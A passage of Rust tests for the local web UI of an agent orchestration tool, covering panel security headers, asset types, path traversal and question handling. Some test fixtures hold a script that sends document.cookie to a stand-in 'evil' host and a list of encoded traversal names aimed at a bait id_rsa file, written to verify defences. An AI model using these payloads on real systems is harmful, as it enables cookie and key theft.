7041                .expect("bind loopback");
7042            let addr = listener.local_addr().expect("local addr");
7043            tokio::spawn(async move {
7044                let _ = axum::serve(listener, ui.router()).await;
7045            });
7046            addr
7047        }
7048
7049        fn queue(&self) -> Queue {
7050            Queue::at(self.home.path().join("queue"))
7051        }
7052
7053        fn questions(&self) -> Questions {
7054            Questions::at(self.home.path().join("questions"))
7055        }
7056
7057        fn talks(&self) -> Talks {
7058            Talks::at(self.home.path().join("talks"))
7059        }
7060
7061        fn runs(&self) -> PathBuf {
7062            self.home.path().join("runs")
7063        }
7064
7065        async fn get(&self, path: &str) -> Res {
7066            request(self.addr, "GET", path, None).await
7067        }
7068
7069        /// The status and headers without the body, which is how the front end
7070        /// preflights a panel: a sandboxed frame is opaque to the parent
7071        /// document, so the only way to tell "no panel" from "a panel that
7072        /// rendered blank" is to ask before mounting.
7073        async fn head(&self, path: &str) -> Res {
7074            request(self.addr, "HEAD", path, None).await
7075        }
7076
7077        async fn post(&self, path: &str, body: Option<&str>) -> Res {
7078            request(self.addr, "POST", path, body).await
7079        }
7080
7081        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7082            request_with(self.addr, "GET", path, None, extra).await
7083        }
7084
7085        async fn delete(&self, path: &str) -> Res {
7086            request(self.addr, "DELETE", path, None).await
7087        }
7088
7089        async fn put(&self, path: &str, body: &str) -> Res {
7090            request(self.addr, "PUT", path, Some(body)).await
7091        }
7092
7093        /// `POST` a raw body with its own headers - see [`request_bytes`].
7094        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7095            request_bytes(self.addr, path, headers, body).await
7096        }
7097    }
7098
7099    struct Res {
7100        status: u16,
7101        headers: String,
7102        /// The header block with its original casing, for the assertions that
7103        /// compare a header *value* rather than looking for a name. Lowercasing
7104        /// a CSP would hide a directive spelled with a capital letter, and the
7105        /// whole point of that test is that the string is exactly right.
7106        head: String,
7107        body: String,
7108        /// The body before any UTF-8 handling, for the routes that serve
7109        /// something other than text. A panel asset is a PNG as often as not,
7110        /// and `from_utf8_lossy` would silently replace half of it.
7111        bytes: Vec<u8>,
7112    }
7113
7114    impl Res {
7115        fn json(&self) -> Value {
7116            serde_json::from_str(&self.body)
7117                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7118        }
7119
7120        /// One header's value verbatim, or `None` when it was not sent.
7121        fn header(&self, name: &str) -> Option<&str> {
7122            self.head.lines().find_map(|line| {
7123                let (key, value) = line.split_once(':')?;
7124                key.trim()
7125                    .eq_ignore_ascii_case(name)
7126                    .then(|| value.trim_start().trim_end_matches('\r'))
7127            })
7128        }
7129    }
7130
7131    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
7132    /// be read to end-of-stream without parsing framing.
7133    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7134        request_with(addr, method, path, body, &[]).await
7135    }
7136
7137    /// As [`request`], with extra request headers - conditional GETs need
7138    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
7139    /// worse than one that sets none.
7140    async fn request_with(
7141        addr: SocketAddr,
7142        method: &str,
7143        path: &str,
7144        body: Option<&str>,
7145        extra: &[(&str, &str)],
7146    ) -> Res {
7147        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7148        for (name, value) in extra {
7149            head.push_str(&format!("{name}: {value}\r\n"));
7150        }
7151        if let Some(body) = body {
7152            head.push_str("Content-Type: application/json\r\n");
7153            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7154        }
7155        head.push_str("\r\n");
7156        if let Some(body) = body {
7157            head.push_str(body);
7158        }
7159        let mut socket = tokio::net::TcpStream::connect(addr)
7160            .await
7161            .expect("connect to the test server");
7162        socket
7163            .write_all(head.as_bytes())
7164            .await
7165            .expect("write request");
7166        let mut raw = Vec::new();
7167        socket.read_to_end(&mut raw).await.expect("read response");
7168        // Split on the raw bytes rather than on a lossy string, so a binary
7169        // body survives to be compared byte for byte.
7170        let split = raw
7171            .windows(4)
7172            .position(|w| w == b"\r\n\r\n")
7173            .expect("a header block");
7174        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7175        let bytes = raw[split + 4..].to_vec();
7176        let status = head
7177            .lines()
7178            .next()
7179            .and_then(|line| line.split_whitespace().nth(1))
7180            .and_then(|code| code.parse().ok())
7181            .expect("a status line");
7182        Res {
7183            status,
7184            headers: head.to_lowercase(),
7185            head,
7186            body: String::from_utf8_lossy(&bytes).into_owned(),
7187            bytes,
7188        }
7189    }
7190
7191    /// A `POST` carrying a raw binary body and its own headers, for the
7192    /// attachment upload route - `request_with` only ever sends
7193    /// `Content-Type: application/json`, which is wrong for an image and
7194    /// would corrupt anything not valid UTF-8 by round-tripping it through
7195    /// `&str` first.
7196    async fn request_bytes(
7197        addr: SocketAddr,
7198        path: &str,
7199        headers: &[(&str, &str)],
7200        body: &[u8],
7201    ) -> Res {
7202        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7203        for (name, value) in headers {
7204            head.push_str(&format!("{name}: {value}\r\n"));
7205        }
7206        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7207        let mut socket = tokio::net::TcpStream::connect(addr)
7208            .await
7209            .expect("connect to the test server");
7210        socket
7211            .write_all(head.as_bytes())
7212            .await
7213            .expect("write request head");
7214        socket.write_all(body).await.expect("write request body");
7215        let mut raw = Vec::new();
7216        socket.read_to_end(&mut raw).await.expect("read response");
7217        let split = raw
7218            .windows(4)
7219            .position(|w| w == b"\r\n\r\n")
7220            .expect("a header block");
7221        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7222        let bytes = raw[split + 4..].to_vec();
7223        let status = head
7224            .lines()
7225            .next()
7226            .and_then(|line| line.split_whitespace().nth(1))
7227            .and_then(|code| code.parse().ok())
7228            .expect("a status line");
7229        Res {
7230            status,
7231            headers: head.to_lowercase(),
7232            head,
7233            body: String::from_utf8_lossy(&bytes).into_owned(),
7234            bytes,
7235        }
7236    }
7237
7238    /// A run on disk, without touching the process-global magi home.
7239    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7240        let mut state = RunState::new(
7241            PathBuf::from("/repo/magi"),
7242            "main".to_owned(),
7243            "0123456789abcdef".to_owned(),
7244            "Add a web UI\n\nMobile first.".to_owned(),
7245            Config::default(),
7246        );
7247        state.id = id.to_owned();
7248        state.status = status;
7249        let dir = runs.join(id);
7250        std::fs::create_dir_all(&dir).expect("run dir");
7251        std::fs::write(
7252            dir.join("run.json"),
7253            serde_json::to_string_pretty(&state).expect("serialize run"),
7254        )
7255        .expect("write run.json");
7256    }
7257
7258    /// Same as [`write_run`], but against a named repository rather than the
7259    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
7260    /// spread across more than one.
7261    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7262        let mut state = RunState::new(
7263            PathBuf::from(repo),
7264            "main".to_owned(),
7265            "0123456789abcdef".to_owned(),
7266            "task".to_owned(),
7267            Config::default(),
7268        );
7269        state.id = id.to_owned();
7270        state.status = status;
7271        let dir = runs.join(id);
7272        std::fs::create_dir_all(&dir).expect("run dir");
7273        std::fs::write(
7274            dir.join("run.json"),
7275            serde_json::to_string_pretty(&state).expect("serialize run"),
7276        )
7277        .expect("write run.json");
7278    }
7279
7280    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7281        let body = serde_json::json!({
7282            "schema": 1,
7283            "pid": 4242,
7284            "started_at": Timestamp::now().to_string(),
7285            "updated_at": updated_at.to_string(),
7286            "idle": false,
7287            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7288            "completed": 7,
7289            "polls": 143,
7290        });
7291        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7292    }
7293
7294    /// A loop that starts, finds nothing to do, and waits to be told to stop.
7295    ///
7296    /// No test in this file may start the real loop - see [`Ui::launch`] for
7297    /// why - so this stands in for the only thing the routes need a loop to
7298    /// do: keep running until `Stop` is set, then return. A real
7299    /// `serve_until` here would resolve its queue and its status file through
7300    /// the process-global magi home, claim whatever it found in the
7301    /// operator's live backlog, overwrite the status file of the `magi serve`
7302    /// that owns it, and spend real agent quota on a real competition.
7303    fn launch_idle(
7304        _opts: daemon::Opts,
7305        stop: daemon::Stop,
7306    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7307        Box::pin(async move {
7308            while !stop.stopped() {
7309                tokio::time::sleep(Duration::from_millis(2)).await;
7310            }
7311            Ok(())
7312        })
7313    }
7314
7315    /// A loop that fails on the way up, the way one whose home has gone
7316    /// read-only does.
7317    fn launch_broken(
7318        _opts: daemon::Opts,
7319        _stop: daemon::Stop,
7320    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7321        Box::pin(async {
7322            Err(anyhow::anyhow!(
7323                "publish the daemon status file: read-only file system"
7324            ))
7325        })
7326    }
7327
7328    /// The address the parking loop knocks on, and what it heard there.
7329    ///
7330    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
7331    /// capture a fixture's address; this is how it is handed one. Only
7332    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
7333    /// these, so nothing else in this binary can race them.
7334    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7335    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7336
7337    /// A loop that, once it is asked to stop, checks the deck still answers
7338    /// before it goes.
7339    ///
7340    /// It stands in for a run mid-node: `finish_loop` waits for this future,
7341    /// so the request it makes is strictly inside the park window - no sleep
7342    /// and no polling needed to be sure of that.
7343    fn launch_knocking_on_the_way_out(
7344        _opts: daemon::Opts,
7345        stop: daemon::Stop,
7346    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7347        Box::pin(async move {
7348            while !stop.stopped() {
7349                tokio::time::sleep(Duration::from_millis(2)).await;
7350            }
7351            let addr = PARK_KNOCK
7352                .lock()
7353                .expect("park knock")
7354                .expect("the test set an address");
7355            let heard = request(addr, "GET", "/api/health", None).await.status;
7356            *PARK_HEARD.lock().expect("park heard") = Some(heard);
7357            Ok(())
7358        })
7359    }
7360
7361    /// The loop view once `want` accepts it.
7362    ///
7363    /// Polled rather than asserted straight after the POST because stopping
7364    /// is deliberately not instant - that is the contract - and rather than
7365    /// slept through because a fixed wait is either flaky or slow.
7366    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
7367    /// finite, so a genuine hang fails the test instead of hanging the
7368    /// suite.
7369    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7370        for _ in 0..SETTLE_STEPS {
7371            let view = fx.get("/api/loop").await.json();
7372            if want(&view) {
7373                return view;
7374            }
7375            tokio::time::sleep(Duration::from_millis(10)).await;
7376        }
7377        panic!(
7378            "the loop never settled: {}",
7379            fx.get("/api/loop").await.json()
7380        );
7381    }
7382
7383    /// File an open question directly in the store the server reads.
7384    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7385        let store = fx.questions();
7386        let mut q = Question::new(
7387            "20260902-000000-beef".to_owned(),
7388            "implement".to_owned(),
7389            "impl-A".to_owned(),
7390            summary.to_owned(),
7391            "because it matters".to_owned(),
7392            choices.iter().map(|c| (*c).to_owned()).collect(),
7393        );
7394        store.put(&mut q).expect("put question");
7395        q.id
7396    }
7397
7398    /// A question with a panel the server can serve, plus the named assets.
7399    ///
7400    /// Written through `Questions::put_panel` rather than by laying out the
7401    /// directory here, so these tests exercise the same on-disk shape the
7402    /// agents produce and cannot pass against a layout only the tests know.
7403    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7404        let store = fx.questions();
7405        let mut q = Question::new(
7406            "20260902-000000-beef".to_owned(),
7407            "land".to_owned(),
7408            "fix".to_owned(),
7409            "Merge this?".to_owned(),
7410            "the diff is in the panel".to_owned(),
7411            vec!["merge".to_owned(), "hold".to_owned()],
7412        );
7413        // Staged outside the questions root, because `put_panel` copies from
7414        // wherever the agent left its files.
7415        let staging = fx.home.path().join("staging");
7416        std::fs::create_dir_all(&staging).expect("staging dir");
7417        let sources: Vec<PathBuf> = assets
7418            .iter()
7419            .map(|(name, bytes)| {
7420                let path = staging.join(name);
7421                std::fs::write(&path, bytes).expect("write staged asset");
7422                path
7423            })
7424            .collect();
7425        store
7426            .put_panel(&mut q, html, &sources)
7427            .expect("write the panel");
7428        store.put(&mut q).expect("put question");
7429        q.id
7430    }
7431
7432    /// A talk on disk, without talking to a model.
7433    ///
7434    /// Written as JSON straight into the store the server reads, because the
7435    /// only constructor `talk::begin` offers takes no turn but still requires
7436    /// a real caller-visible flow. The one thing this cannot make up is the
7437    /// seat, so it is built with the real `SeatState::new` and serialized -
7438    /// the alternative, hand-writing that object, would make these tests fail
7439    /// the day the seat gains a field.
7440    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7441        seed_talk_at(&fx.talks(), id, status)
7442    }
7443
7444    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
7445        std::fs::create_dir_all(store.root()).expect("talks dir");
7446        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7447            .expect("serialize a seat");
7448        let body = serde_json::json!({
7449            "schema": 1,
7450            "id": id,
7451            "repo": "/repo/magi",
7452            "agent": "mock",
7453            "status": status,
7454            "turns": [],
7455            "created_at": Timestamp::now().to_string(),
7456            "updated_at": Timestamp::now().to_string(),
7457            "seat": seat,
7458        });
7459        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7460        store.get(id).expect("the seeded talk has to be readable");
7461        id.to_owned()
7462    }
7463
7464    #[tokio::test]
7465    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7466        let fx = Fixture::start().await;
7467        let id = panel(
7468            &fx,
7469            "<h1>Merge?</h1><img src=\"diff.svg\">",
7470            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7471        );
7472
7473        for path in [
7474            format!("/api/questions/{id}/panel"),
7475            format!("/api/questions/{id}/asset/diff.svg"),
7476        ] {
7477            let res = fx.get(&path).await;
7478            assert_eq!(res.status, 200, "{path}: {}", res.body);
7479            // The whole string, not a substring. A weakened directive - an
7480            // `img-src *` that lets a panel beacon out to a remote host, a
7481            // `script-src` anything, a missing `form-action` that lets it post
7482            // the owner's decision to a third party - has to fail here, and a
7483            // `contains` assertion would let every one of those through.
7484            assert_eq!(
7485                res.header("content-security-policy"),
7486                Some(
7487                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7488                     font-src data:; base-uri 'none'; form-action 'none'; \
7489                     frame-ancestors 'self'"
7490                ),
7491                "{path} is the only thing between a hostile panel and the tailnet"
7492            );
7493            assert_eq!(
7494                res.header("x-content-type-options"),
7495                Some("nosniff"),
7496                "{path}: a browser must not re-decide the type we sent"
7497            );
7498            assert_eq!(
7499                res.header("referrer-policy"),
7500                Some("no-referrer"),
7501                "{path}: a panel must not leak the question id off the machine"
7502            );
7503
7504            // The front end mounts the frame only after a `HEAD` says the
7505            // panel is there, so `HEAD` has to answer with the same status and
7506            // the same policy as `GET` - a preflight that came back without
7507            // the CSP would mean a frame mounted on an unverified promise.
7508            let pre = fx.head(&path).await;
7509            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7510            assert_eq!(
7511                pre.header("content-security-policy"),
7512                res.header("content-security-policy"),
7513                "{path}: the preflight carries the same policy"
7514            );
7515            assert_eq!(
7516                pre.header("content-type"),
7517                res.header("content-type"),
7518                "{path}: the preflight carries the same type"
7519            );
7520        }
7521    }
7522
7523    #[tokio::test]
7524    async fn a_panel_reaches_the_browser_byte_for_byte() {
7525        let fx = Fixture::start().await;
7526        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
7527        // tag, an entity, and a multi-byte character. The sandbox is what makes
7528        // this safe, so nothing here may be rewritten on the way out - a
7529        // rewritten diff is a diff the owner cannot trust.
7530        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
7531        let id = panel(&fx, html, &[]);
7532
7533        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7534
7535        assert_eq!(res.status, 200);
7536        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7537        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7538        assert_eq!(
7539            res.header("content-disposition"),
7540            None,
7541            "the panel itself is rendered in the frame, not downloaded"
7542        );
7543    }
7544
7545    #[tokio::test]
7546    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7547        let fx = Fixture::start().await;
7548        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7549        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7550        let id = panel(
7551            &fx,
7552            "<img src=\"diff.svg\"><img src=\"shot.png\">",
7553            &[("diff.svg", svg), ("shot.png", png)],
7554        );
7555
7556        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7557        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7558
7559        assert_eq!(as_svg.status, 200);
7560        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7561        // An SVG is XML that may carry script. Inside the panel it is an
7562        // `<img src>` and the script cannot run; opened at the top level it
7563        // would be a document on magi's own origin, so the browser is told to
7564        // download it instead of rendering it.
7565        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7566
7567        assert_eq!(as_png.status, 200);
7568        assert_eq!(as_png.header("content-type"), Some("image/png"));
7569        assert_eq!(
7570            as_png.header("content-disposition"),
7571            None,
7572            "a raster image has no execution surface, so tapping it still shows it"
7573        );
7574        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7575    }
7576
7577    #[tokio::test]
7578    async fn an_html_asset_is_never_served_as_html() {
7579        let fx = Fixture::start().await;
7580        let id = panel(
7581            &fx,
7582            "<p>see the notes</p>",
7583            &[
7584                (
7585                    "notes.html",
7586                    b"<script>fetch('http://evil/'+document.cookie)</script>",
7587                ),
7588                ("hook.js", b"fetch('http://evil/')"),
7589                ("data.json", b"{}"),
7590                ("HEADLINE.TXT", b"plain"),
7591            ],
7592        );
7593
7594        for name in ["notes.html", "hook.js", "data.json"] {
7595            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7596            assert_eq!(res.status, 200, "{name}: {}", res.body);
7597            // Serving this as text/html would be a way to reach agent markup
7598            // at the top level of the operator's browser, outside the frame's
7599            // sandbox and outside its CSP - which is the whole thing the panel
7600            // design exists to prevent. Unlisted types are downloads.
7601            assert_eq!(
7602                res.header("content-type"),
7603                Some("application/octet-stream"),
7604                "{name} must not be a type the browser will execute or render"
7605            );
7606        }
7607        // The whitelist is matched case-insensitively, so an agent shouting the
7608        // extension still gets a readable file rather than a download.
7609        let txt = fx
7610            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7611            .await;
7612        assert_eq!(
7613            txt.header("content-type"),
7614            Some("text/plain; charset=utf-8")
7615        );
7616    }
7617
7618    #[tokio::test]
7619    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7620        let fx = Fixture::start().await;
7621        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7622        // Something outside the panel directory that a traversal would reach if
7623        // one got through, so a passing test is not merely "the file was
7624        // missing anyway".
7625        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7626
7627        // Decoded before this server's handler sees them: axum percent-decodes
7628        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
7629        // string with a NUL in it. All three look like ordinary single-segment
7630        // filenames to the router, so the router passes them through and
7631        // `valid_asset_name` is what refuses them - for the literal `..`, and
7632        // for `/`, `\` and NUL not being in the permitted character set.
7633        for encoded in [
7634            "%2e%2e%2fid_rsa",
7635            "..%2fid_rsa",
7636            "..%5cid_rsa",
7637            "%2e%2e%5cid_rsa",
7638            "diff%00.svg",
7639            "..",
7640            ".hidden",
7641            "%2e%2e%2f%2e%2e%2fid_rsa",
7642        ] {
7643            let res = fx
7644                .get(&format!("/api/questions/{id}/asset/{encoded}"))
7645                .await;
7646            assert_eq!(
7647                res.status, 400,
7648                "`{encoded}` has to be refused by name, not looked up: {}",
7649                res.body
7650            );
7651            assert!(res.json()["error"].is_string(), "{}", res.body);
7652        }
7653
7654        // Not decoded, and never this handler's problem: a real slash makes the
7655        // request one segment too long for `/api/questions/{id}/asset/{name}`,
7656        // so axum's router has no route to match and answers before any code
7657        // here runs. Asserted so that a future route with a wildcard segment
7658        // cannot quietly open this door.
7659        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7660            let res = fx
7661                .get(&format!("/api/questions/{id}/asset/{literal}"))
7662                .await;
7663            assert_eq!(
7664                res.status, 404,
7665                "`{literal}` must not match the asset route at all: {}",
7666                res.body
7667            );
7668        }
7669    }
7670
7671    #[tokio::test]
7672    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7673        let fx = Fixture::start().await;
7674        let plain = ask(&fx, "Which backend?", &["SQLite"]);
7675        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7676
7677        // A question nobody wrote a panel for. The client preflights with HEAD
7678        // and cannot see inside a sandboxed frame, so this must be a status and
7679        // not an empty page.
7680        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7681        assert_eq!(none.status, 404, "{}", none.body);
7682        assert!(none.json()["error"].is_string(), "{}", none.body);
7683        assert_eq!(
7684            fx.head(&format!("/api/questions/{plain}/panel"))
7685                .await
7686                .status,
7687            404,
7688            "the preflight is the only way the client can learn this"
7689        );
7690
7691        // A name that is perfectly legal and simply is not there.
7692        let missing = fx
7693            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
7694            .await;
7695        assert_eq!(missing.status, 404, "{}", missing.body);
7696        assert!(missing.json()["error"].is_string(), "{}", missing.body);
7697
7698        // A question that does not exist at all, on both routes.
7699        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
7700        assert_eq!(
7701            fx.get("/api/questions/nope/asset/diff.svg").await.status,
7702            404
7703        );
7704    }
7705
7706    #[tokio::test]
7707    async fn a_run_with_an_open_question_reads_as_waiting() {
7708        let fx = Fixture::start().await;
7709        let run = "20260902-000000-beef".to_owned();
7710        write_run(&fx.runs(), &run, RunStatus::Implementing);
7711
7712        let before = fx.get("/api/runs").await.json();
7713        assert_eq!(before[0]["waiting"], false, "{before}");
7714
7715        let store = fx.questions();
7716        let mut q = Question::new(
7717            run.clone(),
7718            "implement".to_owned(),
7719            "impl-A".to_owned(),
7720            "Which backend?".to_owned(),
7721            String::new(),
7722            vec!["SQLite".to_owned()],
7723        );
7724        store.put(&mut q).expect("put");
7725
7726        let during = fx.get("/api/runs").await.json();
7727        assert_eq!(during[0]["waiting"], true, "{during}");
7728
7729        // Answered: the run is moving again, and the flag has to follow without
7730        // anything having rewritten run.json.
7731        q.answer(Answer::Choice("SQLite".to_owned()))
7732            .expect("answer");
7733        store.put(&mut q).expect("put");
7734        let after = fx.get("/api/runs").await.json();
7735        assert_eq!(after[0]["waiting"], false, "{after}");
7736    }
7737
7738    #[tokio::test]
7739    async fn an_open_question_is_listed_and_counted_by_health() {
7740        let fx = Fixture::start().await;
7741        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7742
7743        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7744        let listed = fx.get("/api/questions").await.json();
7745        assert_eq!(listed.as_array().expect("array").len(), 1);
7746        assert_eq!(listed[0]["id"], id);
7747        assert_eq!(listed[0]["status"], "open");
7748        assert_eq!(listed[0]["choices"][1], "Redis");
7749        // The count is what makes the phone's indicator honest: it is the one
7750        // number meaning nothing will move until a human acts.
7751        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7752    }
7753
7754    #[tokio::test]
7755    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
7756        let fx = Fixture::start().await;
7757        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7758        let path = format!("/api/questions/{id}/answer");
7759
7760        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
7761        assert_eq!(res.status, 200, "{}", res.body);
7762        let body = res.json();
7763        assert_eq!(body["status"], "answered");
7764        assert_eq!(body["answer"]["choice"], "Redis");
7765
7766        // Answered from the terminal in between the list and the tap: the UI
7767        // must be able to tell this from a bad request, so it can show the
7768        // recorded answer instead of an error.
7769        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
7770        assert_eq!(again.status, 409, "{}", again.body);
7771        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7772    }
7773
7774    #[tokio::test]
7775    async fn saying_something_appends_a_turn_without_answering() {
7776        let fx = Fixture::start().await;
7777        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7778        let path = format!("/api/questions/{id}/say");
7779
7780        let res = fx
7781            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
7782            .await;
7783        assert_eq!(res.status, 200, "{}", res.body);
7784        let body = res.json();
7785        assert_eq!(body["status"], "open", "talking back is not a decision");
7786        assert_eq!(body["answer"], Value::Null);
7787        assert_eq!(body["thread"][0]["who"], "operator");
7788        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
7789        assert_eq!(body["waiting_on_agent"], true);
7790        // Still open, still counted, still exactly one question.
7791        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7792    }
7793
7794    #[tokio::test]
7795    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
7796        let fx = Fixture::start().await;
7797        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7798
7799        let list = fx.get("/api/questions").await.json();
7800        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
7801
7802        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
7803        assert_eq!(res.status, 409, "{}", res.body);
7804        let q = fx.questions().get(&id).unwrap();
7805        assert!(q.status.open());
7806        assert!(q.consult.is_none());
7807    }
7808
7809    #[tokio::test]
7810    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
7811        let fx = Fixture::start().await;
7812        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7813        let cfg = Config {
7814            agents: vec![crate::config::AgentSpec {
7815                id: "mock".to_owned(),
7816                kind: crate::config::AgentKind::Command,
7817                model: None,
7818                command: vec!["true".to_owned()],
7819                extra_args: Vec::new(),
7820                env: Default::default(),
7821                prompt_delivery: None,
7822            }],
7823            ..Config::default()
7824        };
7825        let talk = crate::talk::begin(
7826            &fx.talks(),
7827            &cfg,
7828            fx.home.path().to_path_buf(),
7829            Some("mock"),
7830        )
7831        .unwrap();
7832        let mut task = Task::new(
7833            "t".to_owned(),
7834            "Do it".to_owned(),
7835            PathBuf::from("/repo/magi"),
7836            Source::Agent {
7837                run: talk.id.clone(),
7838                node: crate::queue::CHAT_NODE.to_owned(),
7839            },
7840        );
7841        task.start("20260902-000000-beef".to_owned());
7842        fx.queue().put(&mut task).unwrap();
7843
7844        let list = fx.get("/api/questions").await.json();
7845        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
7846        assert_eq!(
7847            list[0]["choices"],
7848            serde_json::json!(["SQLite", "Redis"]),
7849            "the hand-over is never a choice"
7850        );
7851        let _ = id;
7852    }
7853
7854    #[tokio::test]
7855    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
7856        let fx = Fixture::start().await;
7857        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7858        let cfg = Config {
7859            agents: vec![crate::config::AgentSpec {
7860                id: "mock".to_owned(),
7861                kind: crate::config::AgentKind::Command,
7862                model: None,
7863                command: vec!["true".to_owned()],
7864                extra_args: Vec::new(),
7865                env: Default::default(),
7866                prompt_delivery: None,
7867            }],
7868            ..Config::default()
7869        };
7870        // Not a git working tree, so its `magi.toml` is read from disk.
7871        let repo = fx.home.path().join("chat-repo");
7872        std::fs::create_dir_all(&repo).unwrap();
7873        let toml = repo.join("magi.toml");
7874        std::fs::write(&toml, "this is = = not toml").unwrap();
7875        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
7876        let mut task = Task::new(
7877            "t".to_owned(),
7878            "Do it".to_owned(),
7879            PathBuf::from("/repo/magi"),
7880            Source::Agent {
7881                run: talk.id.clone(),
7882                node: crate::queue::CHAT_NODE.to_owned(),
7883            },
7884        );
7885        task.start("20260902-000000-beef".to_owned());
7886        fx.queue().put(&mut task).unwrap();
7887
7888        let path = format!("/api/questions/{id}/consult");
7889        let res = fx.post(&path, None).await;
7890        assert!(res.status >= 400, "{}", res.body);
7891        assert!(fx.questions().get(&id).unwrap().consult.is_none());
7892        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
7893
7894        std::fs::write(&toml, "").unwrap();
7895        let res = fx.post(&path, None).await;
7896        assert_eq!(res.status, 202, "{}", res.body);
7897        assert!(fx.questions().get(&id).unwrap().consult.is_some());
7898    }
7899
7900    #[tokio::test]
7901    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
7902        let fx = Fixture::start().await;
7903        let store = fx.questions();
7904        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7905        assert_eq!(
7906            fx.get("/api/health").await.json()["questions_needs_owner"],
7907            1
7908        );
7909
7910        // The owner asks back instead of deciding: the ask bar, the nav badge
7911        // and the title must stop naming this question, because there is
7912        // nothing to decide until the agent answers - `status` alone cannot
7913        // say that, which is the whole reason `questions_needs_owner` exists
7914        // alongside `questions_open`.
